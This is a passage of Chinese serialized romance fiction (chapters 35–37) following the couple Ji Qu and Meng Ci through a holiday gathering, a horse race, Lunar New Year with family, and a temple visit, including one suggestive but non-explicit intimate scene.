李港的奶奶是顶尖高校的知名教授,十几年前收完最后一届关门弟子便办了退休,其中有一位最受喜爱,李港的奶奶还特地推荐人留了校。 “记得,前段时间回去做讲座恰好碰到,还聊了两句。”季曲摇着杯中酒,落珠挂壁,晶莹剔透,“你什么时候开始喝红酒了。” 李港端着酒杯在和季曲手中的轻轻一碰:“求人办事就得有求人办事的态度不是?” 季曲没喝,示意李港先说。 “石骏庭。”李港替季曲回忆,“你把人公司都快搞垮的那个,是我奶奶那个得意门生的学生,人家求到我头上了,问能不能给条活路。” 季曲没忘了这个人:“撑不住了?” 李港冷哼:“早撑不住了,公司已经进入破产清算环节,听说是好不容易爬上来的,家里还有个年事已高的老父亲要养。” “我又没抢他爸的钱。”季曲不以为然。 “一句话的事,能不能手下留情?”要不是奶奶亲自提了一嘴,李港根本懒得管这些闲事,季曲这个人极有分寸,一般情况下不会把人逼到倾家荡产的份上。 穿过人群烟雾,季曲的目光精准捕捉。 孟慈安稳地端坐在沙发上,腿上围了块红毛毯,刚好与她耳垂上的朱砂交映,在漆黑背景中夺人心神,不知道和人聊了什么,手指捏着砂糖橘瓣慢慢的吃,倒是放松。 酒醒到了,季曲举杯饮尽,入口丝 滑,用空杯子磕了磕李港手里的杯壁,叮当脆响。 “等过起年我去看看奶奶,好久没去拜访。” 这是不肯放手的意思,李港心下了然。 反正话他已经带到,季曲不愿意,谁也没办法,只能怪石骏庭有眼不识泰山,蜉蝣撼树一场空。 师傅在给羊肉改刀,两人说完话过去,刚好能取上。季曲挑了盘瘦肉多的,抬脚往孟慈那边走,李港也拿了一盘,不紧不慢地跟上。 “就这么喜欢?”李港不由得感叹,毕竟季曲来之前特地点了自己,薄娴最近忙,这种消遣活动没必要邀她。 “嗯。”季曲淡淡地回应,想都没想。 李港有些后怕:“薄娴知道的话会不会把我杀了?” 季曲随意道:“大夫说了,到了年节跟前她状态会不稳定,应该多在家休养。” 薄娴的心理医生还是李港托人介绍的,每次去上海复查,季曲忙的话都是李港跟在薄娴旁边打点。 李港怼了季曲一句:“你倒是遵医嘱。” 季曲笑:“当然。” 盘子里的砂糖橘下了一半,孟慈又取了一个新的剥。 小时候每逢过年孟擎都会成箱成箱地往家里搬砂糖橘,时令水果,大家唠着嗑一下午就能吃半箱。 季曲不让孟慈吃太多,说是上火,现下季曲不在,自然放开了吃。 用指尖把橘子上附着的白色梗络统统撕掉,还没等剥完一半,季曲就从孟慈的手里把整个抢走塞到嘴里吃掉。 孟慈皱眉:“你要吃就自己剥,抢我的干嘛。” 季曲从桌子上抽了张湿巾,牵过孟慈的十指挨个擦拭,把橙黄的汁水一点点擦净。 季曲:“你以为我想吃?” 孟慈:“那你嘴里在嚼什么?” 十指恢复嫩白,季曲端起盘子,用叉子插了块羊肉喂到孟慈嘴边,“我那是怕你上火,替你解决掉。” “我又没吃多少。”孟慈微微扭头,躲开季曲的手。 这话一出,也不知道谁该心虚,季曲扫了眼垃圾桶里有些冒尖的橘子皮,没说话。 “不是我吃的。”孟慈脸不红心不跳,“你刚刚吃的是我剥的第一个。” 季曲顺着接了句:“那我是不是还得再给你剥一个。” 孟慈直接伸手挑了一只圆鼓鼓的,放到季曲手心,下巴轻抬,姿态像只被宠坏的小猫。 季曲无奈,只能动手剥,修长的手指翻动几下,果肉便露了出来。 孟慈指着上面的橘络:“不要这些。” 于是季曲又一根一根地剥尽。 到这儿为止,孟慈终于舍得张开唇瓣,任由季曲一瓣一瓣的把果肉喂到嘴里。 旁边的李港不由得看呆了眼,季曲这回是来真的。 一伙人晚上围着篝火又喝又闹,一直到天际泛白才停歇。 季曲带着孟慈回房间整理好躺下已经能看到太阳的一个边角,季曲抱着孟慈替她找到舒服的姿势,在孟慈额间落下一个吻,孟慈嘤咛一句,两个人没一会儿就睡着了。 孟慈后来是被季曲喊醒的。 “他们要去骑马,走吗?”季曲捏了捏孟慈的耳垂,语气温柔。 孟慈摇头,顺带把脸往被子里缩了缩。 “那我去了?你再睡一会儿。” 把手从温暖的被窝里伸出来,孟慈凭借仅存的意识随便朝着某个方向摆,和季曲再见,没动几下就被抓住。 季曲在孟慈的手背上亲亲,然后把她的手放回被子里,轻手轻脚地起床穿衣。 又睡了很久,孟慈起床时已经下午三点。 她给季曲发去消息,慢悠悠地洗完澡坐在梳妆镜前吹头发,差不多半干时,裴沛刚好打来视频,孟慈接起。 对面已经黑天,裴沛在煮茶。 “怎么了?”孟慈给头发擦上护发精油,又拿梳子从发顶到发丝慢慢地理。 裴沛:“没事,问问你在哪过年?” 还没和妈妈说自己和季曲的关系转变,顿了顿,孟慈撒了个小谎。 “我就和朋友出去玩玩,可能去旅游。” “去旅游都不来我这儿?”裴沛略微不满。 “我那不是没那么多时间,过起年就要回学校那边,我不喜欢坐那么久的飞机。”孟慈温声细语地解释。 裴沛叹了口气,哪来的朋友,哪个中国人大年三十不回家团圆还在外面乱跑,自己生的闺女是什么性格,她自然知道,思绪一转,找了个折中的法子,问:“要不然回去看看你爷爷奶奶?” 这倒是个不错的提议,孟慈有些赞同,回答道:“我看看时间吧。” 裴沛泡茶的手艺很好,一浓二淡,以前总能看到她拿着一套茶具慢慢地沏。 孟慈听裴沛那边有些吵:“钱叔叔的孩子们到了?” 裴沛点头:“前天就来了,和单位请了几天假。” “那就好好玩。”孟慈笑笑。 母女俩又寒暄一会儿,孟慈说自己约了朋友吃饭,要出门去,裴沛便又安顿了七七八八的事,然后才挂了电话。 头发已经干透了。 不知道是橘子吃多了还是睡得太晚,孟慈起来之后就一直嗓子疼,再加上和裴沛说了这么久的话,越发明显地不适。 清咳了几声。 “嗓子疼?”季曲不知道什么时候来的,站在卧室门口看着孟慈,身上的骑装还没来得及换。 孟慈点头。 “说了不让你吃那么多,上火了吧?” 季曲走到跟前,让孟慈张嘴,孟慈依着他。 “都有点肿了。”季曲手捏在孟慈的下巴处仔细观看,正经地像个大夫,甚至还要用手机打灯去照。 即使再亲密的事都做过,孟慈也对被人直勾勾地看自己的嗓子眼感到抗拒,因此在季曲打开手电筒的刹那,便拍开季曲的手,转回身。 季曲也没恼,双手从孟慈背后穿过,撑在桌子边。 在镜子里看到两人相依,孟慈对上季曲镜中的眼,眨眨。 “他们晚上要赌马,一会儿吃个饭,咱们过去?” “谁比?”孟慈喉咙干痛,能少说话就少说话。 季曲贴住孟慈的侧脸,软软滑滑的。 “从外面请了专业的人,我去洗个澡,你先收拾着。” 孟慈点头。 男人收拾起来简单,饶是季曲这么讲究的洗澡换衣半个小时也就搞定了,但是对女人来讲,半个小时只是起步打底。 季曲先收拾完便坐在沙发上静静地等,刚好手头也有工作要处理,埋首专注地做完后,李港那边已经催人下楼。 抬腕一看,已经过去两个小时,刚想出声问孟慈怎么样了,就看到孟慈从衣帽间探出个小脑袋冲他招手。 “怎么了?”季曲走到跟前,孟慈转身。 连身的长裙在背中央做了拉链,现下拉锁头卡在一半的位置刚好露出雪白的后背,和一条细细的黑色内/衣带。 孟慈把头发统统捋到左前侧,头也微微低着,背对季曲 “卡住了?”季曲站在孟慈身后,嗓音低沉,“我帮你?” 懒得说话,孟慈稍微抬抬肩膀,季曲自然知道该做什么。 季曲左手握住孟慈的腰,另一只手去拉拉锁,试了几下,丝毫不动。 “你扶着点衣柜,卡的太深了,我怕一用劲把你晃倒。”季曲的呼吸随着话语喷在孟慈后脖颈的细白皮肤上。 其实是想干脆换一件的,孟慈打算再让季曲试最后一次,双手便听话地扶住黑色柜门。 腰间的布料紧紧松松,孟慈知道季曲在使劲,便一直低着头。 过了很久,脖子都酸了,季曲还没弄好。 烦躁劲再次冒上头,孟慈回头找人说话却说了个空。 “刺啦”一声,拉锁解开了。 孟慈循着声音低头看,季曲不知道什么时候单膝跪在地毯上,拉锁头捏在他的指间,回到最初的位置。 背后的深V开到最大,从肩胛骨到脊柱的最后一节,都暴露在外 面。 季曲的眼神缓缓地从拉链移到孟慈脸上,一望无际的平原上突然蹦出个火星子。 飞快地,燃点成团,猛烈地燃烧起来。 季曲就这么直白地与孟慈对视,在她的注视下,在深V顶端,烙下滚烫的吻。 双唇略分开,舌尖刮在皮肤上,用力一吮,殷红的印子出现。 季曲的手不知道什么时候在裙角出现,握上孟慈纤细的脚腕,重重摩挲。 微弱的电流感霎时间过了四肢,酥麻感满溢。 早知道就应该直接换一件,叫什么季曲帮忙,现下喊停已经来不及了。 孟慈刚想转身就被季曲施力按回。 他的手沿着脚腕上移,沿着皮肤纹路来到腿/根,人也站起来压上孟慈的后背。 口袋里的手机又在震动,季曲用空余的手掏出来,是李港来电,滑动接起。 李港:“怎么还不下来?澳洲空运来的大龙虾啊,再不来没了。” 季曲用牙齿在雪白的肩胛骨轻轻磨,单手摸到孟慈背后的搭扣,轻轻一弄,应声崩开。 他有更美味的餐点要用。 胸口一松,孟慈咬着双唇,生怕发出一点儿声音被对面听见。 “不去了,一会儿马场见。”季曲说完直接挂了电话扔到一边,还贴心的按灭了衣帽间的灯。 掰过孟慈背对自己的脸,季曲好心的把被咬得泛白的唇拯救出来,然后换上自己的唇。 “舍生取义”般的可贵。 澄红色的夕阳从窗户缝漏进来,刚好照亮交叠在一起的绰约人影。 黑色的西装裤压在玉色蜀锦,其间还有莹白的皮肤,只不过每每漏出一点就被季曲再次遮住,终归看不真切。 这一通闹下来,孟慈的嗓子彻底哑了,能发出的声音几近于无。 孟慈侧着倒在地毯上缓劲儿,喘气不匀,微弱的夕阳在她的肩背上逐渐下落。 季曲倒是依旧衣冠楚楚,只乱了腰间的一点儿。 双臂穿过孟慈的后背与腿弯,季曲把人抱到怀里,问孟慈一会儿要穿哪条裙子。 孟慈撑起眼皮剜了季曲一眼,因为疲惫,再狠厉的眼神也失去力度。 最后还是季曲自己挑了一条给孟慈换上,哄了又哄才半搂着人出了门。 第35章 第35章撒什么娇啊? 没着急去马场,季曲先带着孟慈去餐厅垫了垫肚子,李港特地安顿后厨留了一部分食材给两人,澳龙和牛应有尽有。 孟慈一天几乎没吃东西,再加上嗓子疼,突然进食,反倒用了没两口就饱了。 离开前,季曲特地安顿给后厨让煮一壶川贝雪梨送到马场。 观赛台在室内。 季曲和孟慈过去的时候,李港等人已经给两人留好了正中央的座位。 李港看到两人进来招呼道:“怎么才来?快下注了!” 季曲领着孟慈坐下,期间看了眼屏幕,坐稳后又在孟慈的腰后垫了只抱枕,这才给孟慈仔细介绍骑手和马匹。 大致说明一些信息,季曲让孟慈押注。 孟慈拒绝:“我又不懂这些。” 季曲说随便玩玩,看个眼缘。 目光在屏幕上扫了扫,孟慈选了2号。 季曲看了眼,2号倒是夺冠的种子选手,“为什么选2号?” 孟慈拨了下耳垂上的珍珠耳环:“你刚刚不是说那匹马叫珍珠。” 简单的理由。 珍珠因为晃动泛出温润的光,季曲笑笑,压了2号。 邓姚今天也在,坐在孟慈旁边的沙发上,她主动搭话,问:“睡的好吗?” “不太好。”孟慈的嗓子还很痛,没法正常说话,只能靠邓姚近一点再开口。 邓姚不出意外道:“上火了吧,你昨天吃了太多橘子,而且熬得也晚。” 作为专业歌手,邓姚随声常备护嗓一类的药品,现下翻翻,刚好拿出一支递给孟慈。 “吃了这个会好点。” “苦吗?”孟慈从小就怕吃苦药。 邓姚给孟慈倒了杯白水:“不苦,甜的。” 要不是嗓子实在疼,孟慈绝对不会把一整包褐色的药粉倒在嘴里。 季曲刚刚被李港拉到屏幕前看马,一回头才看到孟慈已经仰头灌了一袋药。 “你倒是有面子,我平时喊她喝药都得磨好久。”季曲走回孟慈身边坐下。 邓姚笑笑:“这是我们常备的润喉霰,喝了会好些。” 之前安顿的川贝雪梨也熬好端了上来,还另外摆了一盘枇杷。 季曲用小碗挑了几块递给孟慈,黄澄澄的果肉,汁水香甜。 李港那边也给邓姚挑了一些。 马赛即将开始,李港非拉着季曲去观景窗前站着看,孟慈和邓姚都选择留在原地,毕竟电视也能转播。 孟慈对这些赌博类的东西实在没兴趣,只是打发时间,开赛没几分钟便拿出手机翻看消息。 邓姚看出来孟慈无聊,找了个还算相关的话题:“你和我们赵总认识?” 孟慈想起季曲说邓姚那天是被赵一辰主动送来的,一时间分辨不出邓姚的意图,只能简单点头。 似乎看出来孟慈的保留,邓姚摆摆手:“我不是和你说我们老板坏话,我还挺感谢他的。” “没事,说也行,我和他也没那么熟。”孟慈放下几分防备。 前方的氛围热烈,几头马齐头并进,争先恐后地跑。 邓姚身体向孟慈倾斜几分,说赵一辰其实挺保护她们这些小明星的。 不经过本人同意的话,是不会强迫她们做不愿意做的事,无论公私。 话里有话,孟慈看向李港的背影,然后转回眼神,问:“所以?” 邓姚坦荡道:“我故意的。” 目标清晰是好事,明白自己想要什么也是好事。 孟慈反倒欣赏邓姚的不作假:“那你现在……是于公还是于私?” 这话问得隐晦,但却不难懂。 邓姚又偏偏头,手捂在嘴上靠在孟慈耳边飞快的说了句于公。 “像你和季总这样的不多,或者说几乎没有,尤其在我们圈子里。”邓姚见孟慈碗里的枇杷吃完,又站起身主动给孟慈续了一碗。 “谢谢。”孟慈接过来,突然想到何冉,“何冉你认识吗?” “当然啦,她人很好,前天还在颁奖典礼的后台看到她。” “哦。”孟慈垂下眼皮,欲言又止。 邓姚心思活泛,最擅长举一反三,看着孟慈的状态,自然知道她想问什么。 “她和安家那位的事我不太清楚,但是现在圈子里都在传两个人一拍两散了。” 第一场马赛结束的很快,孟慈压的2号没夺冠,季曲问孟慈还要不要继续,孟慈摇头。 后厨又陆陆续续地送了不少甜品茶点上来,中场休息,大家都用了些。 孟慈挖着手里的栗子蛋糕,甜甜糯糯的,多少有些噎。 李港在那边和邓姚分一块红丝绒吃。 “你们见过训好的鹰吗?”李港突然想起来什么,故作高深。 邓姚摇头,孟慈也摇头。 李港得到答案,这才兴致勃勃地说:“现场有一位蒙古骑手,他有训好的鹰,我让他带来了,一会儿看看。” “这有什么好看的?”邓姚挖了一块大小适中地喂给李港。 “老鹰可不好训,一个不小心就给你眼啄了,但是训好的话,一个口哨就过来了,就在人和马头上盘。”李港就着邓姚的手吃了一口。 季曲年少的时候去戈壁大漠,没少看过这种场面,自然不敢兴趣,他正在思考怎么把孟慈手里剩的那半块栗子蛋糕钓出来。 “差不多了?”季曲盯着孟慈手里的瓷盘。 孟慈摇头:“不。” “嗓子不疼了?” “嗯。” 眼看着孟慈不给,季曲只能上手去抢,说是抢,也只能捏住盘子的边轻轻地扯。 孟慈连忙把盘子往自己身前收了收,还没来得及细嚼的栗子粒粘在喉咙,一时间梗得孟慈不好说话。 还没等嗓子顺通,孟慈的余光突然瞥到玻璃窗外突然掠过一个黑影,再转头仔细去看时,才认出这应该就是李港说的那只老鹰。 “鹰!”孟慈说话有些困难,“鹰鹰鹰……” 季曲抢盘子的手一顿,看了孟慈几秒,突然笑了,伸手在孟慈还鼓鼓囊囊的脸侧捏了捏,“撒什么娇啊?以为撒个娇就能吃了?不行这个太甜了对你嗓子不好。” 孟慈:“……” 偶尔,孟慈还是会怀念季曲当初没这么傻的样子- 大年三十,孟慈自己逛了趟超市,拎着满满当当的年货开着车上了高速,回海市找爷爷奶奶过年。 上次 回来办理放弃遗产继承也没来探望老人,孟慈想着多带点东西。 补偿的心思在离家的距离不断缩短时逐渐强烈。 因为提前打过电话,孟慈的车刚停好,表哥就跑了出来。 爷爷奶奶还在老房子里住着,小区没那么新,地砖也有些起翘,表哥搬了大半的东西,孟慈只拎了两支礼盒。 一进门就看到奶奶,笑眯眯地拉住孟慈的手:“小慈回来啦?妈妈呢?” 孟慈换上温和的笑:“她在姥姥家,她让我给您和爷爷带好。” 在某些情况下,和老人其实不用说太多实话。 年夜饭已经上桌,孟慈洗了手出来就被姑姑安顿好座位,递上一副干净碗筷。 “小慈先喝点汤,这么冷的天先暖暖身子。”姑姑热情地张罗着。 孟慈点头接过。 汤还没吹凉,孟慈就和对面的小外甥女对上眼,小外甥女今年五岁,和自己见的面一只手都能数过来。 孟慈放下碗,冲小外甥女招招手,没想到真把小孩叫过来了。 “月月别去打扰小姨吃饭。”姑姑想把孩子领走。 孟慈摆手说没事,她也能照顾孩子吃饭,也不是什么难事。 姑姑做饭和孟擎是一种口味,孟慈吃了不少,起身收拾时才发现胃里有些撑得厉害。 奶奶看到给孟慈找了健胃消食片吃。山楂味的药片在齿间压碎,酸酸甜甜的味道中和了年夜饭上大鱼大肉的腻。 收拾完看了一会儿春晚,爷爷奶奶先去睡觉,老人们熬不动夜。 姑姑和嫂子去准备初一早上包饺子要用到的馅料,还有硬币花生等物。孟慈则留在客厅和小外甥女玩。 “你敢放炮吗小姨?”小外甥女坐在孟慈的怀里看着窗外已经燃起的礼花提问。 “我不敢。”孟慈伸手捂住小外甥女的耳朵,炮声一惊一乍的有些过于吵,“月月敢吗?” 小外甥女突然挺起胸膛,超级自信地说:“我敢的,爸爸给我点过仙女棒。” 孟慈笑着捏捏小外甥女头顶的小丸子,夸她真棒。 “一会儿和我们回家吧,姥姥这儿热水器不好用,你住着也不方便。”表哥扒开一个砂糖橘递给孟慈。 孟慈接过,拿一小瓣喂给小侄女,“不用了,我定了酒店,不远。” “都回家了还住什么酒店!”表哥连忙说不行,大过年的哪能让自己的妹子一个人孤零零地住酒店。 孟慈说自己的行李还在车上,一会儿正好和表哥一家一起走,明天早上再回来吃饺子拜年就行。 但是表哥还是不同意,倒是厨房里的姑姑听到动静出来说随孟慈舒服就好,这么大孩子了自己有自己的主意。 又坐了一会儿,小外甥女也撑不住地开始打哈欠,姑姑让大家早点回去休息,明早再过来。 一行人下了楼,表哥非要送孟慈去酒店再回家,孟慈看看已经睡着的小侄女说没必要。 “你就让我们送送吧,真不打紧。”表嫂抱着小侄女,说她们三个人开一辆车,跟着就能放心不少。 再拉扯也没意义,孟慈最后还是同意。 年三十的酒店没什么住客,空空荡荡的大厅只有服务人员。 表哥把车子停在路边,帮孟慈把行李从车上搬下来。 孟慈接过行李箱的拉杆,说:“快回去吧哥,嫂子和月月还在车上呢。” 表哥张张嘴,几次反复,不知道想说什么。 “一大早还得回去拜年呢,再拖咱们可都睡不成了。”孟慈说话时的雾气越来越浓。 表哥也察觉到逐渐下降的温度,这才点头:“行吧,你自己住注意安全。” 目送车子走远,孟慈才转身进了酒店。 提前预定好的套房,一进屋里面还放了瓜子干果,附着新年快乐的卡片。 孟慈大致扫了一眼,没什么问题,便拖着行李进了里间。 刚刚打开行李箱,床头柜上的手机就震了一下,抬头一看,是季曲的视频通话。 点下接通,又把手机扔回原处:“怎么了?” 那边的季曲看到一片天花板:“到酒店了?” “刚进来。”孟慈拿出睡衣,“有话快说,我要洗澡了。” 季曲:“……能带我一起吗?” 大过年的,不能骂人。 孟慈没犹豫的点了挂断。 洗完澡出来,手机上全是季曲发来的消息,孟慈点开滑了滑,没什么营养。 季曲家的年夜饭,季曲的小侄女,季曲家电视上的春晚画面……诸如此类。 给季曲打字发送说自己要睡了,明天还要早起。 把手机插上充电器定好闹铃放在床头,孟慈翻了个身就睡着了,白天一个人开车上了雪还没化完的高速公路,耗了她太多精力。 迷迷糊糊地不知道睡了多久,脸上突然传来凉意,孟慈下意识地往被窝里缩缩,却不想凉气跟着她走,躲也躲不开。 努力撑开眼皮,却看到千里之外的季曲忽的出现在自己眼前。 他先是短暂地愣了一下,然后才勾勾嘴角。 “慈慈,新年好。” 第36章 第36章他得亲口和小姑娘说新年…… 直到坐上季曲的副驾,孟慈都没彻底睡醒,被迫动起来的部分大脑告诉她这可能是一场梦。 季曲把车里的温度调高,凌晨的高速空空如也,不远处的村镇偶有烟花升空。 “你睡吧,到了叫你。”季曲用余光打量着半睡半醒间的孟慈,不免心疼。 “我在做梦。”孟慈睡眼惺忪,嗓音还带着梦中的沙哑。 季曲笑了,附和道:“对,你在做梦,继续睡吧。” 转头看着专注于驾驶的季曲,孟慈打了个大大的哈欠。 季曲的脸逐渐模糊,和外面的夜融在一起,扯了扯身上的毛毯,孟慈一歪头真的又睡着了。 孟慈睡得不舒服,头一个劲儿地往旁边掉,季曲找到服务区,停下车帮孟慈调整。 把车座往后放倒,又用外套做了个小枕头垫在孟慈头下,她只是左右动动,适应好便又平稳地睡了。 看着孟慈沉静的睡颜,季曲没忍住又伸手摸了摸。 所有的紧绷情绪在见到孟慈的那一刻逐渐放松,心里漏风的窟窿被填补好,他庆幸自己做了无比正确的决定。 时间回到早前。 季欢倾今年非要到了零点起来给大家拜年, 季澈也惯着,白天他抱着女儿玩了个筋疲力尽,导致孩子还没等吃年夜饭就睡的昏天黑地,一直到十二点,大家才又把小孩叫醒。 季欢倾被叫醒后先是哭了一鼻子,而后才在众人的哄劝下想起来自己之前立下的誓言,用新衣服的袖子擦了把眼泪鼻涕,从季澈怀里爬出来,背着提前准备好的祝福话给众人拜年。 大家自然被逗得开心,就连季亮鸿都笑了好久,眼尾的褶子摞了五六层。 季曲最小,轮到自己时季欢倾的漂亮话已经说得差不多了,憋了半天只说出一个小叔新年好。 季曲不买账,又叫小侄女夸了自己好几句。 眼看着季欢倾要被为难到再次哭出来,季曲才在华婉的眼刀下送上一早就准备好的大红包。 “小倾说完了该轮到你了吧?”季亮鸿看向季曲。 “我?”季曲有些惊讶,“我和小倾可差了一辈儿呢。” 华婉已经拉着季荣涛端坐在沙发上等待:“没结婚就都是小孩子,你可不能比小倾 的拜年话说得都差吧。” 理是这么个理,季曲无法,只能也学着季欢倾给大家拜了年。 “哎,忘了我啦?”季澈突然发话,手里还拿着个红包。 季曲无语:“哥,咱俩可是平辈。” “那怎么了?要钱不要?我这可是连号,吉利。”季澈坐在华婉旁边的沙发扶手上,笑得没了眼睛。 气氛太好,季曲没舍得打断,便就着这股劲儿也给哥哥嫂嫂说了吉祥话。 热闹了一通,电视上播放的春晚进入尾声,大家纷纷上楼休息。 季澈和季曲去检查早上上香要带的东西。 核对无误后,两个人没着急回屋,而是站在亭子里抽了根烟。 季澈拍拍季曲的肩膀:“刚和你闹着玩,别放心上。” 季曲摆手说没事,长兄如父,偶尔拜一拜也行,季澈听到这儿笑着锤了季曲一拳。 季澈笑够了,突然想到刚刚那堆贡品,说:“对了,妈去了寺里肯定又要和住持替你求姻缘。” “求去呗,让她有个念想,还能少折腾我。”季曲不在意道。 “但我觉得她不用求了吧?多此一举。”季澈夹着烟,看向季曲意有所指。 季曲低头看着自己前段时间给池子里换的那条锦鲤,已经适应了环境,“你知道了?” 季澈点头:“你也没瞒着啊,去哪都领着。” “那妈也知道了?” “差不多吧。” 鱼睡觉不闭眼,就那么直愣愣的飘在水里。 但是那只白锦鲤没睡,仍在其间穿梭,把月光打碎。 季曲点点头,又吸了一口烟。 “别担心妈,你决定了什么都好说。”季澈看着若有所思的弟弟,宽慰一句。 “嗨。”季曲摆手,“没到妈那一步呢。” 季澈疑问道:“你还没搞定人家姑娘?” 季曲没说话,算是默认。 这次季澈更笑得幸灾乐祸。 “和她妈过年去了?”对于孟慈的基本信息,季澈还是了解的。 季曲摇头,捻灭烟蒂,“回老家了。” 季澈随意接了一句:“那估计挺没意思的。” 谁说不是呢。 季曲在孟慈那儿就没怎么听她聊过除了她妈之外的家人的事,最近一次听到相关的事还是孟慈放弃遗产继承那次,说是姑姑家的小孙女快上小学,孟擎留下那套房子的学区好,但是必须得房户合一才能入学。 除此之外再没了。 就这样过年,肯定没什么意思。 “早点休息吧,打早儿还得出发。”季澈抽完烟先回了房,留下季曲自己在院子里。 最近气温下降明显,季曲伸手试试池子里的水,温度还可以,怪不得这些锦鲤的色泽越来越漂亮。 刚刚给孟慈打视频,本来想看看孟慈心情怎么样,没想到还没看到脸就被挂断,季曲头一次觉得自己嘴贱。 但是从声调来说,好像没什么不对的。 孟慈这次住的还是自家旗下的酒店,季曲掏出手机找到孙谦发来的酒店监控视频,是孟慈办理入住的画面。 她总是不喜欢穿颜色鲜亮的衣服,又是一件款式经典的过膝大衣,细细瘦瘦的一条,走路时连靴子筒都在逛荡。 画面质量不够清晰,看不清她的五官。 手指拖着进度条反复回到最开始的位置,看了数遍。 季曲突然走回屋子拿了外套和钥匙就冲去了车库。 凭什么呢?大过年的。 自己家小姑娘就得孤零零的一个人去酒店,看春晚时候旁边连个吐槽说话的人都没有,也没人和她说新年好。 他得去找她。 他得亲口和小姑娘说新年好- 孟慈睡醒时车子已经不再开动了,她从后座上起身,看到天边泛起鱼肚白。 季曲靠在车门上,孟慈屈指敲敲车窗。 “睡醒啦?”季曲掐断抽了一半的烟回到车里,把孟慈抱在自己腿上,用手指梳理孟慈睡乱的发。 靠在季曲的胸膛上醒盹,孟慈小小地嗯了一声。 季曲理好孟慈的头发,双臂圈住怀里的人,轻声解释,“我们一会要上香,给你找个地方等等我好不好?” “我就在车里不行吗?”孟慈不想出去,刚刚季曲带进来的寒气足够她打颤。 其实也不是不行,毕竟一会儿人多事杂,孟慈一直在车上倒是方便。 季曲便也默许。 又过了一会儿,孟慈终于睁开双眼,伸手揉了揉,“你怎么突然来找我?” “和你说新年好啊。”季曲突然想到什么,捏着孟慈的后脖颈把人从怀里拉出来些,“你还没给我拜年。” 孟慈的身体还软绵绵的,使不上力,歪着头问:“我为什么要给你拜年?你又不是长辈。” “因为我要给你红包。”季曲从口袋里掏出一个厚度可观的红包。 孟慈瞥了一眼:“我收到了更大的。” 季曲皱眉:“你爷爷奶奶给的?” “我哥。”孟慈挣开季曲捏着自己后脖颈的手,又软趴趴地窝回季曲的怀里,“直接在我包里塞了张卡。” 应该是昨晚送她回酒店的时候,帮着拿行李的同时塞进去的。 “估计少不了。” 话不用一字一句地交代清楚,大家都明白这卡里的钱是为了代替什么。 顿了顿,季曲才说:“我这是压岁钱。” 孟慈在季曲怀里抬头,眨眨眼,睫毛扫过季曲的下巴,勾的人发痒。 “新年快……唔……” 季曲低头含住孟慈的唇,在狭窄的车厢内,接了一个温柔缱绻的长吻。 一直到孟慈呼吸困难,季曲才把人放开,又过了一会儿,孟慈耳朵里的心跳声逐渐变成山间的鸟鸣,季曲才摸摸孟慈的脑袋叫人下车。 “刚不是答应我不用下车。”孟慈抱着副驾驶的座位不想下车。 季曲摇头推翻自己刚刚的想法,不容拒绝地把孟慈从车里扒下来:“你运气不太好,还是上来吸收吸收灵气福气。” 之前华婉好像说这个住持灵的不得了,还是得给孟慈这种年纪轻轻就苦命的孩子多求求庇护保佑。 季曲让小师傅找了处离大殿最近的院子,把孟慈安顿在那儿,才一步三回头的离开。 他掐着时间下山接人,华婉从车上下来一个眼神都没分给季曲。 一群人在住持的带领下乌泱乌泱地从山脚开始爬,季荣涛和华婉走在最前面。 季亮鸿共育两子一女。 二叔一家也在,姑姑一家在国外没回来,除此之外旁支里出众的小辈们也在列。 季澈和季曲作为新一辈的顶梁柱,自然站在最前面。 季曲跟在后面,眼神往华婉的背后瞟,小声问季澈:“妈生气啦?” : 季澈点头:“不过没事,今天年初一,不能生气。” 季曲逃过一劫。 “所以你昨晚跑哪了?妈早上起来还以为我把你沉塘了。”季澈怼怼季曲的胳膊,音量很小。 “找我女朋友,一个人过年多可怜啊。”季曲踢开石阶上的残雪。 季澈有些震惊:“开车去的?” 季曲潇洒道:“就两个小时,不远。” “那她人呢?”季澈头一次觉得自己的弟弟好像还是十八的模样,有点疯。 季曲冲着山顶抬下巴:“上面呆着呢。” 听到这儿季澈一脚踩了空,还好季曲手疾眼快地一把扶住,才避免出丑。 这一下动静不算小,前面的人纷纷住脚回头。 季荣涛看了眼靠在一起的两个儿子,沉声问:“怎么了?” 季澈已经借力站稳:“没事,不小心踩空了。” 最前方的住持顺势说最近总是下雪,山间积了不少,风一吹,残雪又纷纷扬扬地卷到石阶上,怎么扫都扫不出来,上台阶时要多注意脚下。 一行人这才又继续往山上走。 “你是准备试试妈的底线?”季澈压下踩空感带来的惊慌,继续问。 “你昨晚不是说别担心妈?”季曲不急不缓地说,“对了,你早上还说今天初一,不能生气。” “……” 季澈彻底转过头看向季曲,对上他一副“能把我怎么样”的表情。 完了,弟弟真疯了。 第37章 第37章“你求求我。”(文案章…… 一成不变的上香环节,众人噤声静思,跪在自己的蒲团上在住持的带领下燃香跪拜。 袅袅升空的老山檀香营造出庄严肃穆的氛围,在厚重禅意包围中的大家都恢复了在外一贯的淡漠模样。 沉着一张脸,默念心中的愿望,诉诸神明。 上香结束,住持带着大家换了禅房,准备开启讲经。 华婉取了一早就准备好的天珠手串,递给季曲。 “带好了,替你求的。”华婉终于和季曲说了第一句话。 季曲接过套到自己手腕:“保什么的?” 华婉瞥了季曲一眼:“全部。” “这么能?” 伸手在季曲的胳膊上打了一下,华婉努力憋住心口的火气,咬着牙和季曲说别瞎说话,也不看看在什么地方。 季曲倒是仔细地研究手腕上的天珠,然后说了句谢谢妈。 经讲了三分之一季曲就坐不住了,看了眼前方认真的长辈们,估计也分不出心思抓他。 和季澈打了个手势要出去,季澈知道季曲要出去干嘛,自然摆摆手让他赶紧走。 季曲沿着小径走到孟慈所在的院落,找过去时她正坐在古树下的斑驳石桌旁发呆,未施粉黛的脸素雅的像远处群山上覆着的雪。 季曲走近,抽出她手心捏着的红绸缎,孟慈跟着抬头,漆黑瞳孔中映出他的身影。 季曲正反面看看红绸:“这是干嘛用?” 孟慈指了指头上系满绸缎的古树:“小师傅给我的,说可灵啦。” 仰头看满树红绸,季曲笑了:“求佛…不如求我。” 孟慈右手手背撑着下巴:“你比佛祖还灵验?” 季曲把刚刚华婉给自己的天珠手串褪下来,渡到孟慈手上。 纤细的皓腕有些挂不住,他捏了捏上面那层攀附着瘦骨的嫩肉。 “我佛慈悲。” “但我不一样。” “你求求我,伤天害理的事我也能做一做。” 季曲从不避谶,就算是在此类地盘,依旧口无遮拦。 孟慈连忙捂上季曲的嘴:“你别瞎说话。” 但是季曲一副不在意的样子,明明他刚刚上香的时候,也虔诚十分,孟慈刚刚就在不远处看着。 